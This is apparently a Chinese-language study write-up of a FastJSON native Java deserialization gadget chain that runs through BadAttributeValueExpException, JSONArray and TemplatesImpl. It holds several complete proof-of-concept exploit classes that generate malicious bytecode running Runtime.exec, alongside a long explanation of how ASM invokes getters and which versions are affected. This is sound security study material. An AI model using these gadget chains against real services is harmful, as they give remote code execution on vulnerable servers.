poc set: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 package org.hantest.fastjsonreadobject; import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.HashSet; import java.util.Set; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class hanfastjsonsetpoc { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } //提供需要序列化的类,返回base64后的字节码 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } //提供base64后的字节码,进行反序列化 public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } //生成一个templates,参数为需要加载的恶意类字节码 public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static void main(String[] args) throws Exception{ byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); setValue(exception, "val", jsonArray); Set set = new HashSet(); set.add(templates); set.add(exception); String ser = serialize(set); unserialize(ser); } }
poc list: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package org.hantest.fastjsonreadobject; import com.alibaba.fastjson.JSONArray; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.util.*; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; public class hanfastjsonlistpoc { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static byte[] genPayload(String cmd) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(49); return clazz.toBytecode(); } //提供需要序列化的类,返回base64后的字节码 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); } //提供base64后的字节码,进行反序列化 public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } //生成一个templates,参数为需要加载的恶意类字节码 public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, "_bytecodes", new byte[][]{bytes}); setValue(templates, "_name", "Infernity"); setValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static void main(String[] args) throws Exception{ byte[] bytes = ClassPool.getDefault().get(calc.class.getName()).toBytecode(); Templates templates = (Templates) getTemplates(bytes); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException exception = new BadAttributeValueExpException(null); setValue(exception, "val", jsonArray); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); arrayList.add(exception); String ser = serialize(arrayList); unserialize(ser); } }
利用链: 链子还是上面低版本的链子BadAttributeValueExpException的链子
1 2 3 4 5 6 7 8 BadAttributeValueExpException.readObject() → JSONArray.toString() → JSON.toJSONString(this) → SerializeWriter.write() → ASM生成的JavaBeanSerializer.write() → entity.getOutputProperties() // ← 真正的getter调用 → TemplatesImpl加载恶意字节码 → 执行恶意代码
高版本的利用链在这个低版本的利用链里的getBadAttributeValueExpException这里再加了个数组
并且写了两次TemplatesImpl类
稍微要再变动一下不知道该怎么写(所以放了这个地方的改动在这里大概理解一下就好(
1 2 3 4 5 6 7 8 9 10 11 TemplatesImpl templates = TemplatesImplUtil.getEvilClass("open -na Calculator"); ArrayList<Object> arrayList = new ArrayList<>(); arrayList.add(templates); JSONArray jsonArray = new JSONArray(); jsonArray.add(templates); BadAttributeValueExpException bd = getBadAttributeValueExpException(jsonArray); arrayList.add(bd); WriteObjects(arrayList);
——– 下面的所有内容都是AI对write里的getter调用的分析的补充描述(便于更好的理解,看自己需求是否跳过) 文章里的_get方法是一个生成asm字节的代码
asm生成的是一个可执行的字节码放在exp里也就是谈计算器的命令
1 2 3 4 5 6 mw.visitMethodInsn( declaringClass.isInterface() ? 185 : 182 , ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method) );
这里不会立即调用! 这只是在生成字节码指令 ,不是执行调用。
对应关系:
参数1: declaringClass.isInterface() ? 185 : 182
185 = INVOKEINTERFACE
指令码
182 = INVOKEVIRTUAL
指令码
根据声明类是否为接口选择调用指令
参数2: ASMUtils.type(declaringClass)
将类名转换为字节码格式
例如:com.example.Product
→ com/example/Product
参数3: method.getName()
获取方法名
例如:getPrice
、getCreateTime
参数4: ASMUtils.desc(method)
生成方法描述符(方法签名)
例如:()I
(无参数返回int)、()Ljava/util/Date;
(无参数返回Date)
生成的字节码示例:
1 2 3 4 5 // 如果是普通类的方法 INVOKEVIRTUAL com/example/Product.getPrice ()I // 如果是接口方法 INVOKEINTERFACE com/example/OrderInfo.getCreateTime ()Ljava/util/Date;
这一行代码就是实际生成”调用getter方法”的字节码指令。
真正的调用发生在:
1 2 3 Method generatedMethod = ...; generatedMethod.invoke(serializer, productObject);
当generatedMethod.invoke()
执行时,JVM才会:
加载productObject到栈
调用productObject.getPrice() ← 这里才是getter的真正调用
进行类型转换
是的,你理解得对!这里的 itemSerializer.write()
最终会触发getter调用。
为什么write会触发getter?
序列化的本质
当FastJSON要将一个对象转换为JSON字符串时,它需要获取对象的所有属性值。有两种方式:
直接访问字段(field)
通过getter方法获取
write方法的职责
itemSerializer.write()
的作用是将对象序列化为JSON,它必须:
遍历对象的所有可序列化属性
获取每个属性的值
将值转换为JSON格式
具体的触发逻辑
当调用 itemSerializer.write()
时:
1 2 3 4 5 6 7 8 9 10 11 public void write (JSONSerializer serializer, Object object, ...) { for (FieldInfo field : fields) { Object value = getFieldValue(object, field); serializer.write(field.name, value); } }
getFieldValue的实现
在你之前看到的ASM生成的代码中:
1 2 3 4 5 6 7 8 private Object getFieldValue (Object obj, FieldInfo field) { if (field.method != null ) { return obj.getOutputProperties(); } else { return obj.fieldName; } }
完整调用流程
1 2 3 4 5 6 7 8 9 10 11 itemSerializer.write(serializer, templatesImpl, ...) ↓ 遍历TemplatesImpl的所有字段 ↓ 发现getOutputProperties方法对应的字段 ↓ 调用 templatesImpl.getOutputProperties() // ← 真正的getter调用 ↓ TemplatesImpl.getOutputProperties()触发字节码加载 ↓ 执行恶意代码
关键理解
write方法触发getter的原因 :
write方法需要获取对象的属性值来进行序列化
FastJSON优先使用getter方法获取值(符合JavaBean规范)
之前看到的ASM代码就是生成了这种”获取属性值”的字节码
当write方法执行时,这些字节码被调用,从而触发getter
所以这个write
就是序列化的核心方法,它必须 调用getter来获取对象的属性值,这就是为什么它会触发getter调用的根本原因。
write方法调用getter的具体实现
write方法的入口
1 2 3 public void write (JSONSerializer serializer, Object object, Object fieldName, Type fieldType, int features) { }
ASM生成的关键逻辑
还记得之前看到的ASM代码生成吗?它会生成类似这样的字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void write (JSONSerializer serializer, Object object, ...) { TemplatesImpl entity = (TemplatesImpl) object; serializer.writeFieldName("outputProperties" ); Properties value = entity.getOutputProperties(); serializer.writeFieldValue(value); }
为什么会调用getOutputProperties()
FastJSON在序列化时会:
扫描TemplatesImpl类 ,发现有getOutputProperties()
方法
根据JavaBean规范 ,认为这是一个可序列化的属性
生成ASM代码 ,在write方法中调用这个getter
执行时 ,write方法被调用,触发entity.getOutputProperties()
具体的字节码执行
之前看到的ASM生成代码:
1 2 3 mw.visitVarInsn(25 , context.var ("entity" )); mw.visitMethodInsn(182 , "com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl" , "getOutputProperties" , "()Ljava/util/Properties;" );
这段字节码在运行时等价于:
1 entity.getOutputProperties();
完整的调用栈
1 2 3 4 5 6 7 8 BadAttributeValueExpException.readObject() → JSONArray.toString() → JSON.toJSONString(this) → SerializeWriter.write() → ASM生成的JavaBeanSerializer.write() → entity.getOutputProperties() // ← 真正的getter调用 → TemplatesImpl加载恶意字节码 → 执行恶意代码
核心理解
write方法调用getter的本质 :
write方法是序列化器,需要获取对象的所有属性值
FastJSON通过ASM动态生成高效的序列化代码
生成的代码直接调用getter方法获取属性值
这不是反射调用,而是直接的方法调用,所以性能很高
所以write方法中调用getter是硬编码 在动态生成的字节码中的,当write方法执行时,就会直接调用getOutputProperties()
方法。
你说得非常对!我上面的命名确实容易混淆。让我用更清晰的命名来重新演示:现在让我再详细解释一下不同层面的”getName”概念:
概念区分
业务层面的getter方法
1 2 3 4 5 public String getUsername () { System.out.println("业务方法被调用" ); return username; }
反射层面的方法名获取
1 2 Method businessMethod = TestUser.class.getMethod("getUsername" );String methodNameString = businessMethod.getName();
ASM层面的字节码生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void _get (MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) { Method businessGetterMethod = fieldInfo.method; if (businessGetterMethod != null ) { String methodNameForBytecode = businessGetterMethod.getName(); mw.visitMethodInsn(INVOKEVIRTUAL, "TestUser" , methodNameForBytecode, "()Ljava/lang/String;" ); } }
调用链路图
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 第一层:业务代码 ┌─────────────────────────┐ │ public String │ │ getUsername() { │ ← 这是程序员写的业务getter方法 │ return username; │ │ } │ └─────────────────────────┘ ↑ │ 最终被调用 │ 第二层:ASM字节码生成 ┌─────────────────────────┐ │ Method businessMethod = │ │ fieldInfo.method; │ ← 这里存储的是上面业务方法的引用 │ │ │ String methodName = │ │ businessMethod │ ← 调用反射API获取方法名字符串 │ .getName(); │ 返回 "getUsername" │ │ │ mw.visitMethodInsn(..., │ │ methodName, ...); │ ← 用方法名字符串生成字节码 └─────────────────────────┘ ↑ │ 生成调用指令 │ 第三层:反射扫描 ┌─────────────────────────┐ │ for (Method m : methods)│ │ if (m.getName() │ ← 这里也调用getName(),但是用途不同 │ .startsWith("get"))│ 是为了识别哪些是getter方法 │ { │ │ // 发现getter方法 │ │ } │ └─────────────────────────┘
关键区别总结
业务getter方法 : getUsername()
- 这是程序员编写的实际业务逻辑
反射方法名获取 : method.getName()
- 返回字符串”getUsername”,用于识别和生成字节码
ASM字节码指令 : INVOKEVIRTUAL TestUser.getUsername
- 最终生成的调用指令
核心理解 :
fieldInfo.method
存储的是业务getter方法的引用
method.getName()
获取的是方法名字符串 ,用于生成字节码
ASM用这个字符串生成字节码指令
字节码执行时,实际调用的是业务getter方法
这样命名区分是否更清楚了?
这是一个非常好的问题!method.getName()
不是固定的 ,它会根据不同的getter方法而变化。
让我用具体例子来演示:## 核心答案
**method.getName()
是动态变化的!**它会根据每个不同的getter方法返回不同的方法名:
1 2 3 4 5 6 public String getName () → method.getName() 返回 "getName" public int getAge () → method.getName() 返回 "getAge" public String getEmail () → method.getName() 返回 "getEmail" public boolean isActive () → method.getName() 返回 "isActive"
ASM生成的字节码指令也会相应变化
当FastJSON处理每个getter时,ASM会生成不同的调用指令:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 mw.visitMethodInsn(INVOKEVIRTUAL, "Employee" , "getName" , "()Ljava/lang/String;" ); mw.visitMethodInsn(INVOKEVIRTUAL, "Employee" , "getAge" , "()I" ); mw.visitMethodInsn(INVOKEVIRTUAL, "Employee" , "getEmail" , "()Ljava/lang/String;" ); mw.visitMethodInsn(INVOKEVIRTUAL, "Employee" , "isActive" , "()Z" );
生成的字节码等价于不同的Java调用
1 2 3 4 5 String name = employee.getName(); int age = employee.getAge(); String email = employee.getEmail(); boolean active = employee.isActive();
流程总结
第二步 :FastJSON扫描类,发现所有getter方法
发现getName()
, getAge()
, getEmail()
, isActive()
第三步 :对每个发现的getter,ASM都会调用_get
方法生成字节码
处理getName()
时:method.getName()
返回"getName"
处理getAge()
时:method.getName()
返回"getAge"
处理getEmail()
时:method.getName()
返回"getEmail"
处理isActive()
时:method.getName()
返回"isActive"
结果 :每个不同的getter都会生成对应的调用指令
所以**method.getName()
绝对不是固定的,它是根据当前正在处理的具体getter方法动态变化的**!
这就是为什么FastJSON能够调用对象的所有getter方法,而不只是某一个固定的方法。
FastJSON与原生反序列化完整分析
核心原理概述
FastJSON在进行序列化 (不是反序列化)时会调用目标对象的getter方法,这个特性可以通过原生Java反序列化机制来触发,从而绕过FastJSON的AutoType检查。
攻击链路分析
1.1 完整攻击流程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 BadAttributeValueExpException.readObject() ↓ JSONArray.toString() // 触发FastJSON序列化 ↓ JSON.toJSONString(this) ↓ SerializeWriter.write() ↓ ObjectSerializer.write() // 序列化器写入方法 ↓ ASM生成的getter调用代码 ↓ TemplatesImpl.getOutputProperties() // 恶意getter方法 ↓ 恶意字节码加载和执行
1.2 关键触发点
不是JSON解析触发 :这里不涉及JSON.parse()
等反序列化方法
序列化触发getter :通过JSON.toJSONString()
序列化过程调用getter
原生反序列化入口 :通过BadAttributeValueExpException.readObject()
作为入口
FastJSON序列化机制深度分析
2.1 getter方法调用规则
FastJSON在序列化Bean时会调用符合以下条件的方法:
方法名以get
开头(长度>3)或以is
开头(长度>2)
有返回值 (返回类型不为void)
无参数
public修饰符
验证代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Getter @Setter public class TestBean { private Integer age; public String getPerson2 (String s) { System.out.println("getPerson2" ); return "abc" ; } public void getPerson4 () { System.out.println("getPerson4" ); } public String getPerson3 () { System.out.println("getPerson3" ); return "abc" ; } } TestBean bean = new TestBean ();bean.setAge(18 ); System.out.println(JSON.toJSONString(bean));
2.2 序列化器生成过程
第一步:BeanInfo构建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static SerializeBeanInfo buildBeanInfo (Class<?> beanType, ...) { Method[] methods = beanType.getMethods(); List<FieldInfo> fieldInfoList = new ArrayList <>(); for (Method method : methods) { String methodName = method.getName(); if (methodName.startsWith("get" ) && methodName.length() > 3 && method.getReturnType() != void .class && method.getParameterCount() == 0 ) { String propertyName = methodName.substring(3 ); propertyName = Character.toLowerCase(propertyName.charAt(0 )) + propertyName.substring(1 ); FieldInfo fieldInfo = new FieldInfo (propertyName, method, ...); fieldInfoList.add(fieldInfo); } } return new SerializeBeanInfo (beanType, fieldInfoList.toArray(...)); }
第二步:ASM动态代码生成
1 2 3 4 5 6 7 8 9 10 11 12 public class TemplatesImplSerializer implements ObjectSerializer { public void write (JSONSerializer serializer, Object object, ...) { TemplatesImpl entity = (TemplatesImpl) object; Properties outputProperties = entity.getOutputProperties(); serializer.writeFieldValue("outputProperties" , outputProperties); } }
第三步:_get方法字节码生成
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void _get (MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) { Method method = fieldInfo.method; if (method != null ) { mw.visitVarInsn(ALOAD, context.var ("entity" )); Class<?> declaringClass = method.getDeclaringClass(); mw.visitMethodInsn( declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method) ); } }
重要说明:
method.getName()
不是固定值 ,会根据不同的getter方法返回不同的方法名
对于getOutputProperties()
,返回"getOutputProperties"
对于getName()
,返回"getName"
ASM为每个发现的getter方法都会生成对应的调用代码
攻击载荷构造
3.1 TemplatesImpl利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.makeClass("EvilClass" );CtClass superClass = pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz);constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); TemplatesImpl templates = TemplatesImpl.class.newInstance();setFieldValue(templates, "_bytecodes" , new byte [][]{clazz.toBytecode()}); setFieldValue(templates, "_name" , "EvilTemplates" ); setFieldValue(templates, "_tfactory" , null );
3.2 触发序列化的容器
1 2 3 4 5 6 7 JSONArray jsonArray = new JSONArray ();jsonArray.add(templates); BadAttributeValueExpException trigger = new BadAttributeValueExpException (null );setFieldValue(trigger, "val" , jsonArray);
3.3 完整利用代码(FastJSON 1.2.48)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class FastJSONExploit { public static void setFieldValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("EvilClass" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");" ); clazz.addConstructor(constructor); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates, "_bytecodes" , new byte [][]{clazz.toBytecode()}); setFieldValue(templates, "_name" , "EvilTemplates" ); setFieldValue(templates, "_tfactory" , null ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException trigger = new BadAttributeValueExpException (null ); setFieldValue(trigger, "val" , jsonArray); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(trigger); ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); ois.readObject(); } }
版本影响和防护
4.1 影响版本
FastJSON 1.x :≤ 1.2.48 可直接利用
FastJSON 1.x :≥ 1.2.49 增加了SecureObjectInputStream
检查
FastJSON 2.x :目前版本仍可利用(截至2.0.26)
4.2 1.2.49后的防护机制
1 2 3 4 5 6 7 8 9 10 11 12 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); if (name.equals("com.alibaba.fastjson.JSONObject" ) || name.equals("com.alibaba.fastjson.JSONArray" )) { TypeUtils.checkAutoType(name, null , Feature.SupportAutoType.mask); } return super .resolveClass(desc); }
4.3 攻击特点
绕过AutoType :不通过JSON字符串解析,而是通过原生反序列化
无需开启AutoType :完全绕过AutoType相关检查
利用序列化特性 :巧妙利用FastJSON序列化时调用getter的特性
防护建议
升级版本 :使用FastJSON 1.2.49+版本
输入验证 :对反序列化输入进行严格验证
类白名单 :限制可反序列化的类
JVM参数 :使用-Dcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.allowedProtocols=file
等限制
WAF防护 :在应用层面检测和阻断恶意载荷
关键理解点
6.1 序列化vs反序列化
攻击入口 :原生Java反序列化(readObject
)
攻击机制 :FastJSON序列化过程(toJSONString
)
关键误区 :不是JSON字符串解析触发,而是序列化过程触发
6.2 技术细节澄清
ASM作用 :动态生成高性能的序列化器代码,避免反射调用
getter调用时机 :在序列化器的write
方法执行时
方法名获取 :method.getName()
根据具体方法动态返回不同值
字节码生成 :为每个符合条件的getter方法生成调用指令
6.3 攻击链本质
这个攻击链的巧妙之处在于:
使用原生反序列化作为入口点,绕过FastJSON的安全检查
利用FastJSON序列化的副作用(调用getter方法)
通过TemplatesImpl.getOutputProperties()
触发字节码加载和执行
整个过程无需JSON字符串,完全基于对象操作
这种攻击方式展示了在复杂软件系统中,不同组件交互产生的意外安全风险。
关于ASM和beaninfo的基础讲解 好的,我来详细解释BeanInfo和ASM的概念,然后深入分析第二步和第三步的原理。
BeanInfo是什么?
BeanInfo是Java反射机制中用来描述JavaBean信息的类 。
JavaBean规范回顾
1 2 3 4 5 6 7 8 9 10 11 12 public class User { private String name; private int age; public String getName () { return name; } public int getAge () { return age; } public void setName (String name) { this .name = name; } public void setAge (int age) { this .age = age; } }
BeanInfo的作用
BeanInfo会通过反射分析一个类,提取出:
属性信息 :哪些字段有getter/setter方法
方法信息 :所有的公共方法
事件信息 :监听器相关信息
1 2 3 4 5 6 7 8 9 10 BeanInfo beanInfo = Introspector.getBeanInfo(User.class);PropertyDescriptor[] properties = beanInfo.getPropertyDescriptors(); for (PropertyDescriptor pd : properties) { System.out.println("属性名: " + pd.getName()); System.out.println("读方法: " + pd.getReadMethod()); System.out.println("写方法: " + pd.getWriteMethod()); }
输出结果:
1 2 3 4 5 6 7 属性名: name 读方法: public String getName() 写方法: public void setName(String) 属性名: age 读方法: public int getAge() 写方法: public void setAge(int)
ASM是什么?
ASM是一个Java字节码操作框架,可以动态生成类或者修改现有类的字节码 。
为什么需要ASM?
传统的反射调用性能较差:
1 2 3 Method getter = obj.getClass().getMethod("getName" );String name = (String) getter.invoke(obj);
ASM可以动态生成高性能的调用代码:
1 2 String name = obj.getName();
ASM如何工作?
ASM使用访问者模式操作字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ClassWriter cw = new ClassWriter (0 );cw.visit(V1_8, ACC_PUBLIC, "GeneratedClass" , null , "java/lang/Object" , null ); MethodVisitor mv = cw.visitMethod(ACC_PUBLIC, "callGetter" , "(Ljava/lang/Object;)Ljava/lang/String;" , null , null ); mv.visitVarInsn(ALOAD, 1 ); mv.visitTypeInsn(CHECKCAST, "User" ); mv.visitMethodInsn(INVOKEVIRTUAL, "User" , "getName" , "()Ljava/lang/String;" , false ); mv.visitInsn(ARETURN); mv.visitMaxs(1 , 2 ); mv.visitEnd(); byte [] bytecode = cw.toByteArray();
第二步深入解析:createJavaBeanSerializer
让我们看看FastJSON是如何提取BeanInfo的:
1 2 3 4 5 6 7 8 9 10 public final ObjectSerializer createJavaBeanSerializer (Class<?> clazz) { SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, null , this .propertyNamingStrategy, this .fieldBased); return beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this .createJavaBeanSerializer(beanInfo); }
TypeUtils.buildBeanInfo做了什么?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 public static SerializeBeanInfo buildBeanInfo (Class<?> beanType, ...) { Method[] methods = beanType.getMethods(); List<FieldInfo> fieldInfoList = new ArrayList <>(); for (Method method : methods) { String methodName = method.getName(); if (methodName.startsWith("get" ) && methodName.length() > 3 ) { String propertyName = methodName.substring(3 ); propertyName = Character.toLowerCase(propertyName.charAt(0 )) + propertyName.substring(1 ); FieldInfo fieldInfo = new FieldInfo (propertyName, method, ...); fieldInfoList.add(fieldInfo); } else if (methodName.startsWith("is" ) && methodName.length() > 2 ) { } } return new SerializeBeanInfo (beanType, fieldInfoList.toArray(...)); }
FieldInfo包含什么?
1 2 3 4 5 6 7 public class FieldInfo { public final String name; public final Method method; public final Field field; public final Class<?> fieldClass; }
所以第二步的本质是:通过反射扫描类的所有方法,识别出符合getter命名规范的方法,并将这些信息封装成FieldInfo对象。
第三步深入解析:ASM动态生成序列化代码
generateWriteMethod做了什么?
FastJSON会为每个类动态生成一个序列化器类,类似这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public class User { public String getName () { return name; } public int getAge () { return age; } } public class UserSerializer implements ObjectSerializer { public void write (JSONSerializer serializer, Object object, ...) { User user = (User) object; String name = user.getName(); serializer.writeFieldValue(',' , "name" , name); int age = user.getAge(); serializer.writeFieldValue(',' , "age" , age); } }
ASM如何生成这些调用?
让我们看看_get
方法是如何生成字节码的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void _get (MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) { Method method = fieldInfo.method; if (method != null ) { mw.visitVarInsn(ALOAD, context.var ("entity" )); Class<?> declaringClass = method.getDeclaringClass(); mw.visitMethodInsn( declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method) ); if (!method.getReturnType().equals(fieldInfo.fieldClass)) { mw.visitTypeInsn(CHECKCAST, ASMUtils.type(fieldInfo.fieldClass)); } } }
这段代码生成的字节码等价于:
1 2 3 4 User user = (User) entity;String result = user.getName();
完整流程梳理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 原始对象 User ↓ 1. toString() 被调用 ↓ 2. buildBeanInfo() 扫描User类 - 发现getName()方法 - 创建FieldInfo("name", getName方法, ...) ↓ 3. ASM生成序列化器代码 - 为每个FieldInfo生成调用代码 - 生成 user.getName() 的字节码 ↓ 4. 执行生成的序列化器 - 调用 user.getName() ← 这里触发了getter! ↓ 5. 如果getName()是恶意方法 - 触发任意代码执行
攻击利用
攻击者利用TemplatesImpl
类:
1 2 3 4 5 6 7 8 public class TemplatesImpl { public Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (...) { ... } } }
当FastJSON序列化TemplatesImpl
对象时:
扫描到getOutputProperties()
方法
ASM生成调用代码
执行时调用getOutputProperties()
触发恶意字节码执行
这就是为什么FastJSON能通过原生反序列化绕过AutoType检查的原理 - 它不是通过JSON解析,而是通过Java序列化机制间接触发getter方法执行恶意代码。